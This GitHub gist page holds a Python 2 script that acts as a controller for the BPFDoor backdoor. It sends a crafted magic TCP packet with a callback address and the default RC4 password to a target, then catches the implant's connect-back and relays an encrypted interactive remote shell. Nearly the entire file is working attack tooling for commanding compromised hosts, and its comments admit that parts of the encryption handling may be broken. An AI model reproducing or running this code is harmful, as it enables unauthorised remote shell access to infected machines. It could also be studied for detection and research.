-
-
Save EvergreenCartoons/51d7529eeb9191880beb8890cf9b1ace to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python2 | |
# implements bpfdoor tcp knock and callback handling. | |
import fcntl | |
import socket | |
from threading import Thread | |
import sys | |
import time | |
import struct | |
from Crypto.Cipher import ARC4 | |
import tty | |
import pty | |
import os | |
import termios | |
import select | |
# this is the default in some samples. justrobot is another default key. | |
PASSWORD = "justforfun" | |
# rc4_init the reader and writer | |
drc4 = ARC4.new(PASSWORD) | |
erc4 = ARC4.new(PASSWORD) | |
class PTY: | |
def __init__(self, slave=0, pid=os.getpid()): | |
# apparently python GC's modules before class instances so, here | |
# we have some hax to ensure we can restore the terminal state. | |
self.termios, self.fcntl = termios, fcntl | |
# open our controlling PTY | |
self.pty = open(os.readlink("/proc/%d/fd/%d" % (pid, slave)), "rb+") | |
# store our old termios settings so we can restore after | |
# we are finished | |
self.oldtermios = termios.tcgetattr(self.pty) | |
# get the current settings se we can modify them | |
newattr = termios.tcgetattr(self.pty) | |
# set the terminal to uncanonical mode and turn off | |
# input echo. | |
newattr[3] &= ~termios.ICANON & ~termios.ECHO | |
# don't handle ^C / ^Z / ^\ | |
newattr[6][termios.VINTR] = '\x00' | |
newattr[6][termios.VQUIT] = '\x00' | |
newattr[6][termios.VSUSP] = '\x00' | |
# set our new attributes | |
termios.tcsetattr(self.pty, termios.TCSADRAIN, newattr) | |
# store the old fcntl flags | |
self.oldflags = fcntl.fcntl(self.pty, fcntl.F_GETFL) | |
# fcntl.fcntl(self.pty, fcntl.F_SETFD, fcntl.FD_CLOEXEC) | |
# make the PTY non-blocking | |
fcntl.fcntl(self.pty, fcntl.F_SETFL, self.oldflags | os.O_NONBLOCK) | |
def read(self, size=8192): | |
return self.pty.read(size) | |
def write(self, data): | |
# ret = self.pty.write(decrypt(data)) #xxx | |
ret = self.pty.write(data) | |
self.pty.flush() | |
return ret | |
def fileno(self): | |
return self.pty.fileno() | |
def __del__(self): | |
# restore the terminal settings on deletion | |
self.termios.tcsetattr(self.pty, self.termios.TCSAFLUSH, self.oldtermios) | |
self.fcntl.fcntl(self.pty, self.fcntl.F_SETFL, self.oldflags) | |
def decrypt( xxx ): | |
return drc4.decrypt(xxx) | |
def encrypt(xxx): | |
return erc4.encrypt(xxx) | |
def listen(cbport): | |
sock = socket.socket( socket.AF_INET, socket.SOCK_STREAM ) | |
sock.settimeout( 10 ) | |
try: | |
sock.bind( ("0.0.0.0", cbport) ) | |
sock.listen( 5 ) | |
except Exception, e: | |
print str(e) | |
print "[!] Can't bind !\n" | |
while True: | |
try: | |
(csock, addr) = sock.accept() | |
fsock = csock.fileno() | |
except socket.timeout: | |
continue | |
if csock.recv(4) == "3458": | |
print "got magic" | |
print "send encrypted buffer" | |
buffer = encrypt("id;uname -a;pwd\n") | |
csock.send(buffer) | |
print "get output" | |
buffer = csock.recv(4096) | |
print decrypt(buffer) | |
else: | |
sys.exit("no crypt") | |
print "pty" | |
pty = PTY() | |
buffers = [ [ csock, [] ], [ pty, [] ] ] | |
def buffer_index(fd): | |
for index, buffer in enumerate(buffers): | |
if buffer[0] == fd: | |
return index | |
readable_fds = [ csock, pty ] | |
# csock.send(encrypt("stty -echo\n")) | |
data = " " | |
# keep going until something deds | |
while data: | |
# if any of the fd's need to be written to, add them to the | |
# writable_fds | |
writable_fds = [] | |
for buffer in buffers: | |
if buffer[1]: | |
writable_fds.append(buffer[0]) | |
r, w, x = select.select(readable_fds, writable_fds, []) | |
# read from the fd's and store their input in the other fd's buffer | |
for fd in r: | |
buffer = buffers[buffer_index(fd) ^ 1][1] | |
if hasattr(fd, "read"): | |
data = fd.read(8192) | |
else: | |
data = fd.recv(8192) # xxx | |
if data: | |
buffer.append(data) | |
# send data from each buffer onto the proper FD | |
for fd in w: | |
buffer = buffers[buffer_index(fd)][1] | |
data = buffer[0] | |
if hasattr(fd, "write"): | |
fd.write(decrypt(data)) # encrypt or decrypt ops here break it | |
else: | |
fd.send(encrypt(data)) # maybe? | |
buffer.remove(data) | |
sys.exit("Shell closed") | |
def sendpkt(rhost, rport, cbhost, cbport): | |
print "send packet to %s:%d" %(rhost, rport) | |
# bla = "52930000a45acd9a04570000000000000000000000000000" | |
bla = "52930000" | |
bla += socket.inet_aton(cbhost).encode("hex") | |
bla += struct.pack(">H", int(cbport)).encode("hex") | |
bla += PASSWORD.encode("hex") | |
bla += "0000000000000000000000000000" | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.connect((rhost, rport)) | |
s.send(bla.decode("hex")) | |
def main(): | |
if len(sys.argv) != 5: | |
sys.exit("bpfdoorkicker.py target_host target_port this_host this_port") | |
rhost = sys.argv[1] | |
rport = int(sys.argv[2]) | |
cbhost = sys.argv[3] | |
cbport = int(sys.argv[4]) | |
handlerthr = Thread(target=listen, args=(int(cbport),)) | |
handlerthr.start() | |
time.sleep(1) | |
sendpkt(rhost, rport, cbhost, cbport) | |
if __name__ == "__main__": | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment